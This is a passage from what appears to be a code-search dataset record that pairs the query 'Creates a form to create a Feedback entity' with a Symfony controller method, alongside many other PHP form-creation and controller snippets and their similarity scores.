"public function newCommentAction($feedback_id)\n\t{\n\t\t$feedback = $this->em->getRepository('DeskPRO:Feedback')->find($feedback_id);\n\t\tif (!$feedback) {\n\t\t\treturn $this->renderStandardError('@user.feedback.feedback_not_found', '@user.error.not-found', 404);\n\t\t}\n\n\t\t// Perm check\n\t\tif (!$this->person->PermissionsManager->UserPublishChecker->canViewFeedback($feedback)) {\n\t\t\treturn $this->renderLoginOrPermissionError();\n\t\t}\n\n\t\tif ($feedback->getStatus() == 'closed') {\n\t\t\treturn $this->renderStandardError('@user.feedback.voting_closed', '@user.feedback.voting_closed-explain');\n\t\t}\n\n\t\t$new_comment = new \\Application\\DeskPRO\\Comments\\NewComment(\n\t\t\t'Application\\\\DeskPRO\\\\Entity\\\\FeedbackComment',\n\t\t\t$this->person,\n\t\t\tarray('feedback' => $feedback)\n\t\t);\n\n\t\t$newcomment_formtype = new NewCommentFormType($this->person);\n\t\t$form = $this->get('form.factory')->create($newcomment_formtype, $new_comment);\n\t\t$validator = new \\Application\\UserBundle\\Validator\\NewCommentValidator();\n\t\t$validator->setPersonContext($this->person);\n\n\t\tif ($this->get('request')->getMethod() == 'POST') {\n\n\t\t\t$trap_fail = false;\n\t\t\tif (!empty($_POST['first_name']) || !empty($_POST['last_name']) || !empty($_POST['email'])) {\n\t\t\t\t$trap_fail = true;\n\t\t\t}\n\n\t\t\tif (!$this->consumeRequest('newcomment_feedback') || $trap_fail) {\n\t\t\t\treturn $this->redirectRoute('user_feedback_view', array(\n\t\t\t\t\t'slug' => $feedback->getUrlSlug(),\n\t\t\t\t));\n\t\t\t}\n\n\t\t\t$form->bindRequest($this->get('request'));\n\n\t\t\tif (!$validator->isValid($new_comment)) {\n\t\t\t\t$this->session->setFlash('comment_error', $validator->getErrors(true));\n\t\t\t\treturn $this->redirectRoute('user_feedback_view', array(\n\t\t\t\t\t'slug' => $feedback->getUrlSlug(),\n\t\t\t\t));\n\t\t\t}\n\n\t\t\tif ($form->isValid() && !$validator->checkDupe($new_comment)) {\n\t\t\t\t$comment = $new_comment->save();\n\n\t\t\t\tApp::setSkipCache(true);\n\n\t\t\t\tif ($new_comment->require_login) {\n\t\t\t\t\treturn $this->redirectRoute('user_newcomment_finishlogin', array(\n\t\t\t\t\t\t'comment_type' => 'feedback',\n\t\t\t\t\t\t'comment_id' => $comment->id,\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $this->viewFeedback($feedback);\n\t\t}\n\n\t\treturn $this->redirectRoute('user_feedback_view', array(\n\t\t\t'slug' => $feedback->getUrlSlug(),\n\t\t));\n\t}",
"public function actionCreate()\n {\n $model = new Contact();\n $model->user_id = $this->user->id;\n $model->scenario = 'form';\n\n if (Yii::$app->request->isPost && ($postData = Yii::$app->request->post()) && $model->load($postData)) {\n if ($model->save()) {\n return $this->redirect([\n 'view',\n 'id' => $model->id,\n ]);\n }\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }",
"public static function display_create_form(){\n echo \"<form action='../../Controllers/charity_controller.class.php?action=save' method='post'>\";\n echo \"Name: <input type='text' name='name' /><br />\";\n echo \"Description: <textarea name='description'></textarea><br />\";\n echo \"<input type='submit' value='Save' />\";\n echo \"</form>\";\n }",
"public function createAction()\n {\n if ($this->request->isPost()) {\n\t $concours = new Concours();\n\t\t\t$concours->label = $this->request->getPost(\"label\");\n\t\t\t$concours->date = $this->request->getPost(\"date\");\n\n\t if (!$concours->save()) {\n\t foreach ($concours->getMessages() as $message) {\n\t $this->flashSession->error($message);\n\t }\n\t } else {\n\t \t$this->flashSession->success('Concours ajouté');\n\t }\n\t $this->response->redirect('concours/edit/'.$concours->id);\n\t\t\t$this->view->disable();\n\t\t\treturn;\n } else {\n\t $this->response->redirect('concours/new');\n\t\t\t$this->view->disable();\n return;\n }\n }",
"public function create()\n {\n if((auth()->user()->hasPermissionTo('blogger_add') != true))\n return $this->permission_denied('blogger_dashboard');\n\n return view('dashboard.users.blogger.form')\n ->with([\n 'page_title' => $this->page_title,\n 'entity' => $this->entity,\n 'entity_action' => $this->entity_action,\n ]);\n }",
"public function create()\n {\n \n \n return view('admin.contactInfo.add');\n }",
"public function create()\n {\n return view('essentials::create');\n }",
"public function newAction()\n {\n/* \t$numfields = $this->getDoctrine()\n \t->getRepository('HegesAppConfigBundle:Configlinetype')\n \t->find($fieldsnumber);\n */\n \t\n \t\n $entity = new Configline();\n $form = $this->createForm(new ConfiglineType(), $entity);\n\n return $this->render('HegesAppConfigFileBundle:Configline:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView()\n ));\n }",
"public function create()\n {\n return view('forming');\n }",
"public function create()\n {\n return view('backend.features.create');\n }",
"public function newAction() {\n $entity = new actualite();\n $form = $this->createForm(new actualiteType(), $entity);\n\n return $this->render('CabinetMedicalBundle:actualite:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n return $this->form->render('mconsole::personal.form');\n }",
"public function newAction()\n {\n $entity = new Titeur();\n\t\t\t\t$user = $this->get('security.context')->getToken()->getUser();\n $form = $this->createForm(new TiteurType(), $entity, array('user' => $user));\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView()\n );\n }",
"public function create()\n {\n //\n return view('lessonform');\n\n }",
"public function newAction()\n {\n $reflection = new FormReflectionManager($this->flash);\n\n $url = new Url;\n $url->id = $reflection->get('id');\n $url->address = $reflection->get('address');\n \n $this->view->url = $url;\n \n #$this->view->disable(); \n }",
"public function newAction()\n {\n $entity = new Visit();\n $form = $this->createForm(new VisitType(), $entity);\n\n return $this->render('NRTestPetClinicBundle:Visit:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView()\n ));\n }",
"public function newAction()\n {\n $typeSeance = new TypeSeance();\n\n $form = $this->createCreateForm($typeSeance);\n\n $pages = array();\n $pages['Types de Séance '] = \"movibe_backend_typeSeance\";\n $pages['Creation'] = \"\";\n $this->breadcrumb($pages);\n\n return $this->render('MovibeBackendBundle:TypeSeance:new.html.twig', array(\n 'typeSeance' => $typeSeance,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n return view('fish.form');\n }",
"public function newAction()\n {\n $manager = $this->container->get('app_manager_listkdo');\n $entity = $manager->createEntity();\n $form = $this->createCreateForm($entity, $manager);\n\n return $this->render(\n 'AppBundle:ListKdo:new.html.twig',\n array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n )\n );\n }",
"public function create()\n {\n return view('notification.form.create');\n }",
"public function create()\n {\n return view('admin.formation.create');\n }",
"public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}",
"public function create()\n {\n return view('client.form');\n }",
"public function create()\n {\n return view('admin.createform');\n }",
"public function create()\n {\n return view('contactusform');\n }",
"public function create()\n {\n return view('Form');\n }",
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return $this->showForm('create');\n }",
"public function actionCreate()\n {\n $model = new Submission();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->AssignmentSubmissionID]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }",
"public function create()\n {\n return view('admin.forms.create');\n }",
"public function newAction()\n {\n $entity = new Visiteur();\n $form = $this->createCreateForm($entity);\n\n return $this->render('GestionFraisBundle:Visiteur:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction(): void\n {\n $this->view->form = new AnaForm(null, ['edit' => true]);\n }",
"public function newAction()\n {\n $entity = new link();\n\n if (false === $this->get('security.context')->isGranted('CREATE', $entity)) {\n throw new AccessDeniedException('Unauthorized access!');\n }\n \n $form = $this->createCreateForm($entity);\n\n return $this->render('MesdHelpWikiBundle:Link:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'menu' => new Menu(),\n ));\n }",
"public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }",
"public function create()\n {\n return $this->cView(\"form\");\n }",
"public function newAction()\n {\n $entity = new News();\n $form = $this->createForm(new NewsType(), $entity);\n\n return $this->render('WrathContentBundle:News:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Links();\n $form = $this->createForm(new LinksType(), $entity);\n return $this->render('SiteAdminBundle:Links:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }"
] | [
"0.7872735",
"0.76712847",
"0.76311684",
"0.7574751",
"0.7574751",
"0.7198278",
"0.7197795",
"0.7138977",
"0.7014565",
"0.7013589",
"0.6950421",
"0.6923526",
"0.6914248",
"0.6914135",
"0.6847771",
"0.6841398",
"0.6832128",
"0.6793184",
"0.6754185",
"0.67483354",
"0.6734091",
"0.67293304",
"0.6723993",
"0.6710848",
"0.6708937",
"0.670844",
"0.6708081",
"0.670401",
"0.66950244",
"0.6686134",
"0.6683469",
"0.66809624",
"0.66709805",
"0.66683394",
"0.6660077",
"0.6647813",
"0.6633738",
"0.66330034",
"0.66325784",
"0.6625885",
"0.66179556",
"0.6616093",
"0.6613795",
"0.6611664",
"0.6610368",
"0.65954757",
"0.6595032",
"0.65933365",
"0.6586312",
"0.6572077",
"0.657184",
"0.656584",
"0.65602726",
"0.6559317",
"0.6554916",
"0.65451723",
"0.65407294",
"0.65380913",
"0.6532849",
"0.653028",
"0.6525732",
"0.65239227",
"0.6507941",
"0.6507266",
"0.65070623",
"0.6506893",
"0.6502519",
"0.6499121",
"0.6498251",
"0.64958096",
"0.6495225",
"0.64921296",
"0.64865726",
"0.6486556",
"0.6486256",
"0.6485424",
"0.6483465",
"0.6483311",
"0.647657",
"0.64735484",
"0.6473079",
"0.64714783",
"0.6465256",
"0.6458334",
"0.64547646",
"0.64529425",
"0.64493626",
"0.6448153",
"0.6444786",
"0.6442199",
"0.6442199",
"0.6437738",
"0.6437642",
"0.6433103",
"0.6426404",
"0.6426119",
"0.6425332",
"0.64251107",
"0.64248836",
"0.64219606"
] | 0.74663335 | 5 |
Creates a form to create a Feedback entity. | private function createCreateForm(Feedback $entity)
{
$form = $this->createForm('BackendBundle\Form\FeedbackType', $entity, array(
'action' => $this->generateUrl('feedback_new'),
'method' => 'POST',
));
$form->add('submit', SubmitType::class, array('label' => 'Create'));
$form->add('submitback', SubmitType::class, array('label' => 'Create & Back'));
return $form;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function actionCreate()\n {\n $model = new FeedbackType();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n \tYii::$app->getSession()->setFlash('success', $model->fkt_form_name.' '.$model->fkt_list_name.' 添加成功,结果将展示在列表。');\n return $this->redirect(['index']);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }",
"protected function form()\n {\n $form = new Form(new Feedback);\n\n\n\n return $form;\n }",
"public function create()\n {\n return view('Feedback.create');\n }",
"public function create()\n\t{\n\t\treturn View::make('feedbacks.create');\n\t}",
"public function create()\n {\n return view('feedback.create');\n }",
"public function create()\n {\n return view('feedback.create');\n }",
"protected function form()\n {\n $form = new Form(new Feedback);\n\n $form->select('user_id', __('feedback::feedback.user_id'))\n ->options(function ($id) {\n $user = User::find($id);\n if ($user) {\n return [$user->id => $user->username];\n }\n })\n ->ajax(route('admin.select.user'))\n ->required();\n $form->text('title', __('feedback::feedback.title'))->readonly();\n $form->UEditor('content', __('feedback::feedback.content'));\n $form->text('contact', __('feedback::feedback.contact'))->readonly();\n $form->image('file', __('feedback::feedback.file'))->readonly();\n $form->UEditor('reply', __('feedback::feedback.reply'));\n $form->select('status', __('feedback::feedback.status.label'))\n ->options(__('feedback::feedback.status.value'));\n\n return $form;\n }",
"public function newAction(Request $request)\n {\n $entity = new Feedback();\n $form = $this->createCreateForm($entity);\n $form->handleRequest($request);\n\n if ($form->isSubmitted() && $form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($entity);\n $em->flush();\n\n // Mostrando mensaje\n $this->get('session')->getFlashBag()->add('success', 'The feedback was created successfully.');\n\n if ($form->get('submitback')->isClicked()) {\n return $this->redirect($this->generateUrl('feedback_new'));\n } else {\n return $this->redirectToRoute('feedback_show', array('id' => $entity->getId()));\n }\n\n }\n\n return $this->render('feedback/new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function store(CreateFeedbackRequest $request)\n {\n return Feedback::create($request->all());\n }",
"public function createForm()\n {\n }",
"public function createForm();",
"public function createForm();",
"public function createAction()\n {\n// $this->view->form = $form;\n }",
"private function createDeleteForm(Feedback $entity)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('feedback_delete', array('id' => $entity->getId())))\n ->setMethod('DELETE')\n ->getForm();\n }",
"public function _create_feedback() {\n if($this->debug == True) {\n $this->contact_details->bypass_profilephoto = True; \n }\n \n $contact_data = $this->contact_details->generate_data(); \n \n if($new_contact_id = $this->dbcontact->insert_new_contact($contact_data)) {\n\n $feedback_data = $this->feedback_details->generate_data();\n $feedback_data['contactId'] = $new_contact_id; \n\n $new_feedback_id = $this->dbfeedback->insert_new_feedback($feedback_data);\n\n $post = (object) Array(\n 'feedback_text' => $feedback_data['text']\n , 'feed_id' => $new_feedback_id\n );\n \n //we check if there is any profanity in the feedback...if so we flip the hasProfanity column to true\n $feedbackservice = new FeedbackService(new DBFeedback, new DBBadWords);\n $feedbackservice->save_feedback($post);\n \n //We determine the origin of this feedback and its from the Feedback Form\n DB::Table('FeedbackContactOrigin', 'master')->insert(Array(\n 'contactId' => $new_contact_id\n , 'feedbackId' => $new_feedback_id\n , 'origin' => 's36'\n , 'socialId' => $new_feedback_id\n ));\n\n $result_obj = new StdClass;\n $result_obj->feedback_id = $new_feedback_id;\n $result_obj->contact_id = $new_contact_id;\n\n return $result_obj;\n }\n\n return Null;\n }",
"public function create() {\n\n\t\treturn view('/mailer/createform');\n\n\t}",
"private function createCreateForm(DealerComponent $entity)\n {\n $form = $this->createForm(new DealerComponentType(), $entity, array(\n 'action' => $this->generateUrl('dealercomponent_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Create'));\n\n return $form;\n }",
"public function create()\n {\n return view ('forms.create');\n }",
"public function create()\n\t{\n\t\t$form = \\View::make('message.form');\n\t\t$form->project_id = \\Session::get('active_project');\n\t\t$form->action = array('action' => 'Toomdrix\\Pm\\MessageController@store', 'class'=>'form-signup');\n\t\treturn $form;\n\t}",
"abstract public function createForm();",
"abstract public function createForm();",
"public function create()\n {\n return view(\"backend.cms.form\");\n }",
"private function createEditForm(Feedback $entity)\n {\n $form = $this->createForm('BackendBundle\\Form\\FeedbackType', $entity, array(\n 'action' => $this->generateUrl('feedback_edit', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', SubmitType::class, array('label' => 'Update'));\n\n return $form;\n }",
"public function create()\n {\n return view(\"request_form.form\");\n }",
"public function create()\n\t{\n\t\treturn view('faith.form');\n\t}",
"public function create ()\n {\n return view('forms.create');\n }",
"private function createCreateForm(GdpMails $entity)\r\n {\r\n $form = $this->createForm(new GdpMailsType(), $entity, array(\r\n 'action' => $this->generateUrl('gdpmails_create'),\r\n 'method' => 'POST',\r\n ));\r\n\r\n $form->add('submit', 'submit', array('label' => 'Create'));\r\n\r\n return $form;\r\n }",
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return $this->showForm('create');\n }",
"public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }",
"public function createAction()\n {\n $post_request = (array) $this->postZingRequest();\n\n /** Handle the request */\n $errors = $this->_handleRequest($post_request);\n\n $api_manager = $this->get('zing.core.api.api');\n\n return $this->renderAdmin('ZingComponentPollBundle:Default:question/form.html.twig', array_merge(array_merge(array(\n 'zing_form_action' => 'create',\n 'zing_form_errors' => $errors,\n 'user_key' => $api_manager->createUserApiKey()\n ),\n array('post_request' => $post_request)\n ), $post_request));\n }",
"public function create(): string\n {\n // we use the same API json response structure\n $response = new Response();\n $form = new FeedbackCreateForm();\n\n if ($form->validate()) {\n $users = App::$db->getRowsWhere('users');\n $session_user = App::$session->getUser();\n\n foreach ($users as $id => $user) {\n if ($session_user['email'] === $user['email']) {\n $user_id = $id;\n }\n }\n\n $feedback = $form->values();\n $feedback['id'] = App::$db->insertRow('feedback', $form->values() + [\n 'user_id' => $user_id,\n 'date' => date('Y-m-d')\n ]);\n\n $feedback = $this->buildRow($session_user, $feedback);\n\n $response->setData($feedback);\n } else {\n $response->setErrors($form->getErrors());\n }\n\n // Returns json-encoded response\n return $response->toJson();\n }",
"public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }",
"public function newCommentAction($feedback_id)\n\t{\n\t\t$feedback = $this->em->getRepository('DeskPRO:Feedback')->find($feedback_id);\n\t\tif (!$feedback) {\n\t\t\treturn $this->renderStandardError('@user.feedback.feedback_not_found', '@user.error.not-found', 404);\n\t\t}\n\n\t\t// Perm check\n\t\tif (!$this->person->PermissionsManager->UserPublishChecker->canViewFeedback($feedback)) {\n\t\t\treturn $this->renderLoginOrPermissionError();\n\t\t}\n\n\t\tif ($feedback->getStatus() == 'closed') {\n\t\t\treturn $this->renderStandardError('@user.feedback.voting_closed', '@user.feedback.voting_closed-explain');\n\t\t}\n\n\t\t$new_comment = new \\Application\\DeskPRO\\Comments\\NewComment(\n\t\t\t'Application\\\\DeskPRO\\\\Entity\\\\FeedbackComment',\n\t\t\t$this->person,\n\t\t\tarray('feedback' => $feedback)\n\t\t);\n\n\t\t$newcomment_formtype = new NewCommentFormType($this->person);\n\t\t$form = $this->get('form.factory')->create($newcomment_formtype, $new_comment);\n\t\t$validator = new \\Application\\UserBundle\\Validator\\NewCommentValidator();\n\t\t$validator->setPersonContext($this->person);\n\n\t\tif ($this->get('request')->getMethod() == 'POST') {\n\n\t\t\t$trap_fail = false;\n\t\t\tif (!empty($_POST['first_name']) || !empty($_POST['last_name']) || !empty($_POST['email'])) {\n\t\t\t\t$trap_fail = true;\n\t\t\t}\n\n\t\t\tif (!$this->consumeRequest('newcomment_feedback') || $trap_fail) {\n\t\t\t\treturn $this->redirectRoute('user_feedback_view', array(\n\t\t\t\t\t'slug' => $feedback->getUrlSlug(),\n\t\t\t\t));\n\t\t\t}\n\n\t\t\t$form->bindRequest($this->get('request'));\n\n\t\t\tif (!$validator->isValid($new_comment)) {\n\t\t\t\t$this->session->setFlash('comment_error', $validator->getErrors(true));\n\t\t\t\treturn $this->redirectRoute('user_feedback_view', array(\n\t\t\t\t\t'slug' => $feedback->getUrlSlug(),\n\t\t\t\t));\n\t\t\t}\n\n\t\t\tif ($form->isValid() && !$validator->checkDupe($new_comment)) {\n\t\t\t\t$comment = $new_comment->save();\n\n\t\t\t\tApp::setSkipCache(true);\n\n\t\t\t\tif ($new_comment->require_login) {\n\t\t\t\t\treturn $this->redirectRoute('user_newcomment_finishlogin', array(\n\t\t\t\t\t\t'comment_type' => 'feedback',\n\t\t\t\t\t\t'comment_id' => $comment->id,\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $this->viewFeedback($feedback);\n\t\t}\n\n\t\treturn $this->redirectRoute('user_feedback_view', array(\n\t\t\t'slug' => $feedback->getUrlSlug(),\n\t\t));\n\t}",
"public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }",
"private function createCreateForm(EventRegistration $entity)\n {\n\n\n $flow = $this->get('pixeloid_app.flow.eventRegistration'); // must match the flow's service id\n $flow->bind($entity);\n\n\n // $reservation = new AccomodationReservation;\n // $entity->setReservation($reservation);\n\n\n $flow->setGenericFormOptions(array(\n 'action' => $this->generateUrl('eventregistration_create'),\n 'method' => 'POST',\n ));\n\n\n return $flow;\n }",
"public function create() {\r\n\t\r\n\t$form = new Form();\r\n\t$form->setTranslator($this->translator);\r\n\treturn $form;\r\n }",
"public function CreateForm();",
"public function create()\n {\n return view('admin.forms.create');\n }",
"private function getCreateForm()\n\t{\n\t\t$form = new Zend_Form();\n\t\t$form->setAttrib('id', 'formCommentCreate');\n\n\t\t$comment_type = new Zend_Form_Element_Select('comment_type');\n\t\t$comment_type->setRequired(true)\n\t\t->setMultiOptions(\n\t\tarray(\tApplication_Model_Enum_CommentType::THUMBS_UP => 'Thumbs up',\n\t\t\t\t\tApplication_Model_Enum_CommentType::THUMBS_DOWN => 'Thumbs down'));\n\t\t$form->addElement($comment_type);\n\n\t\t$comment = new Zend_Form_Element_Textarea('comment');\n\t\t$comment->setRequired(true)\n\t\t->addValidator('stringLength', false, 50);\n\t\t$form->addElement($comment);\n\n\t\treturn $form;\n\t}",
"public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}",
"public function createFormAction()\n {\n \t$form_type = $this->params()->fromQuery(\"ftype\", \"\");\n\n\t\t//load form\n\t\t$form = $this->getFormAdminModel()->getFormAdminForm($form_type);\n\n\t\t//set default content for submit button\n\t\tif ($form->has(\"submit_button\"))\n\t\t{\n\t\t\t$form->get(\"submit_button\")->setValue(\"Submit\");\n\t\t}//end if\n\n\t\t$request = $this->getRequest();\n\t\tif ($request->isPost())\n\t\t{\n\t\t\t$form->setData($request->getPost());\n\t\t\tif ($form->isValid())\n\t\t\t{\n\t\t\t\ttry {\n\t\t\t\t\t//create the form\n\t\t\t\t\t$objForm = $this->getFormAdminModel()->createForm($form->getData());\n\n\t\t\t\t\t//set success message\n\t\t\t\t\t$this->flashMessenger()->addSuccessMessage(\"Form created\");\n\t\t\t\t\t\n\t\t\t\t\t//redirect to form edit page\n\t\t\t\t\tif ($form_type != \"\")\n\t\t\t\t\t{\n\t\t\t\t\t\treturn $this->redirect()->toUrl($this->url()->fromRoute(\"front-form-admin/form\", array(\"action\" => \"edit-form\", \"id\" => $objForm->get(\"id\"))) . \"?ftype=$form_type\");\n\t\t\t\t\t}//end if\n\t\t\t\t\t\n\t\t\t\t\treturn $this->redirect()->toRoute(\"front-form-admin/form\", array(\"action\" => \"edit-form\", \"id\" => $objForm->get(\"id\")));\n\t\t\t\t} catch (\\Exception $e) {\n\t\t\t\t\t//set error message\n\t\t\t\t\t$form = $this->frontFormHelper()->formatFormErrors($form, $e->getMessage());\n\t\t\t\t}//end catch\n\t\t\t}//end if\n\t\t}//end if\n\n\t\treturn array(\"form\" => $form);\n }",
"public function create()\n {\n return $this->cView(\"form\");\n }",
"private function createCreateForm(Enquiry $entity) {\n $form = $this->createForm(new EnquiryType(), $entity, array(\n 'action' => $this->generateUrl('contact_contact_contact'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit');\n\n return $form;\n }",
"public function newAction()\r\n {\r\n $entity = new Question();\r\n $em = $this->getDoctrine()->getManager('interview');\r\n $form = $this->createForm(new QuestionType($em), $entity);\r\n\r\n return array(\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n );\r\n }",
"protected function form()\n {\n $form = new Form(new Community);\n\n $form->text('permalink', __('Permalink'));\n $form->text('eyecatch_path', __('Eyecatch path'));\n $form->text('name', __('Name'));\n $form->text('pref', __('Pref'));\n $form->text('information', __('Information'));\n $form->text('image1_path', __('Image1 path'));\n $form->text('image2_path', __('Image2 path'));\n $form->text('image3_path', __('Image3 path'));\n $form->text('video1_link', __('Video1 link'));\n $form->text('video2_link', __('Video2 link'));\n $form->text('video3_link', __('Video3 link'));\n $form->text('calendar', __('calendar'));\n $form->text('message_image_path', __('Message image path'));\n $form->text('message', __('Message'));\n $form->text('contact', __('Contact'));\n $form->text('facebook_link', __('Facebook link'));\n $form->text('instagram_link', __('Instagram link'));\n $form->text('website_link', __('Website link'));\n\n\n return $form;\n }",
"public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}",
"protected function form()\n {\n return new Form(new Attention);\n }",
"function create() {\n\t\tglobal $tpl, $lng;\n\n\t\t$form = $this->initForm(TRUE);\n\t\tif ($form->checkInput()) {\n\t\t\tif ($this->createElement($this->getPropertiesFromPost($form))) {\n\t\t\t\tilUtil::sendSuccess($lng->txt('msg_obj_modified'), TRUE);\n\t\t\t\t$this->returnToParent();\n\t\t\t}\n\t\t}\n\n\t\t$form->setValuesByPost();\n\t\t$tpl->setContent($form->getHtml());\n\t}",
"public function create()\n {\n return view('users.forms.create');\n }",
"public function create()\n {\n return view('notification.form.create');\n }",
"protected function _createEntity()\n\t\t{\n\t\t\t// Form template name.\n\t\t\t$separator = '__';\n\t\t\t$template = $type = $this->_createForm->type->getValue();\n\t\t\t$subject = $this->_createForm->subject->getValue();\n\t\t\tif ( $platformId = $this->_createForm->platform_id->getValue() ) {\n\t\t\t\t$platform = Table::_( 'platforms' )->get( $platformId );\n\t\t\t\t$template = $platform->name . $separator . $template;\n\t\t\t}\n\t\t\tif ( $pluginId = $this->_createForm->plugin_id->getValue() ) {\n\t\t\t\t$filter = new D_Filter_PluginDirectory();\n\t\t\t\t$plugin = Table::_( 'plugins' )->get( $pluginId );\n\t\t\t\t$template = str_replace( '-', '_', $filter->filter( $plugin->name ) ) . $separator . $template;\n\t\t\t}\n\t\t\t$template .= '.phtml';\n\t\t\t// Write a file.\n\t\t\t$directory = $this->_getTypeDirectory( $type );\n\t\t\tif ( !file_exists( $directory . $template ) ) {\n\t\t\t\tfile_put_contents(\n\t\t\t\t\t$directory . $template,\n\t\t\t\t\t$this->_createForm->content->getValue()\n\t\t\t\t);\n\t\t\t}\n\t\t\t// Save a subject.\n\t\t\t$settingId = Model::_( 'settings' )->setting( $template . '[email subject]' );\n\t\t\tModel::_( 'settings' )->string( $settingId, $subject );\n\t\t}",
"public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"private function createCreateForm(Acc $entity)\n {\n $form = $this->createForm(new AccType(), $entity, array(\n 'action' => $this->generateUrl('acc_create'),\n 'method' => 'POST',\n ));\n\n //$form->add('submit', 'submit', array('label' => 'Create'));\n\n return $form;\n }",
"public function create()\n {\n return view('contactusform');\n }",
"private function createCreateForm(Dzialy $entity) {\n $form = $this->createForm(new DzialyType(), $entity, array(\n 'action' => $this->generateUrl('dzialy_create'),\n 'method' => 'POST',\n )); \n\n return $form;\n }",
"private function createCreateForm()\n {\n $form = $this->createForm(\n new NewEventForm(),\n null,\n array(\n 'action' => $this->generateUrl('fel_admin_events_create'),\n 'method' => 'POST',\n )\n );\n\n $form->add('submit', 'submit', array('label' => 'Create', \"attr\" => array(\"class\" => \"btn-success\")));\n\n return $form;\n }",
"private function createCreateForm(Dossier $entity)\n {\n $form = $this->createForm(new RefusAutomatiqueType(), $entity, array(\n 'action' => $this->generateUrl('refus_auto'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Traiter'));\n\n return $form;\n }",
"public function create()\n {\n return view('Form');\n }",
"public function create()\n {\n return view('client.form');\n }",
"private function createCreateForm(Compte $entity)\n {\n $form = $this->createForm(new CompteType(), $entity, array(\n 'action' => $this->generateUrl('compte_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Créer'));\n\n return $form;\n }",
"public function createCreateSupplierForm()\n\t{\n\t\t$form = $this->createForm();\n\n\t\t$form->addSubmit(\"create\", \"Vytvoriť dodávateľa\")\n\t\t\t->setAttribute('class', 'btn-primary');\n\n\t\t$form->onSuccess[] = array($this, \"createSupplierSubmitted\");\n\n\t\treturn $form;\n\t}",
"public function create()\n {\n return view('admin.formtype.create', [\n 'form_type' => new FormType,\n 'colors' => Setting::colors()\n ]);\n }",
"public function getCreationForm()\n {\n return new ProductForm;\n }",
"private function createCreateForm(DevisSetup $entity)\n {\n $form = $this->createForm(new DevisSetupType(), $entity, array(\n 'action' => $this->generateUrl('devissetup_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Create'));\n\n return $form;\n }",
"private function createCreateForm(ActionListe $entity)\n {\n $form = $this->createForm(new ActionListeType(), $entity, array(\n 'action' => $this->generateUrl('actionliste_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Ajouter'));\n\n return $form;\n }",
"public function newAction()\n {\n $user = $this->getCurrentUser();\n $form = new Facepalm_Form_Point($user, null);\n\n if ($this->getRequest()->isPost()) {\n $post = $this->getRequest()->getPost();\n if ($form->isValid($post)) {\n $point = $form->persist();\n\n $this->_helper->sendNotifications(\n $point, $this->getCurrentUser()\n );\n\n $this->_helper->getStaticHelper('redirector')\n ->gotoSimpleAndExit('index');\n }\n }\n\n $this->view->form = $form;\n }",
"private function createCreateForm(Bien $entity)\n {\n $form = $this->createForm(new BienType(), $entity, array(\n 'action' => $this->generateUrl('bien_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Crear','attr' => array('class' => 'btn btn-success'),));\n return $form;\n }",
"public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
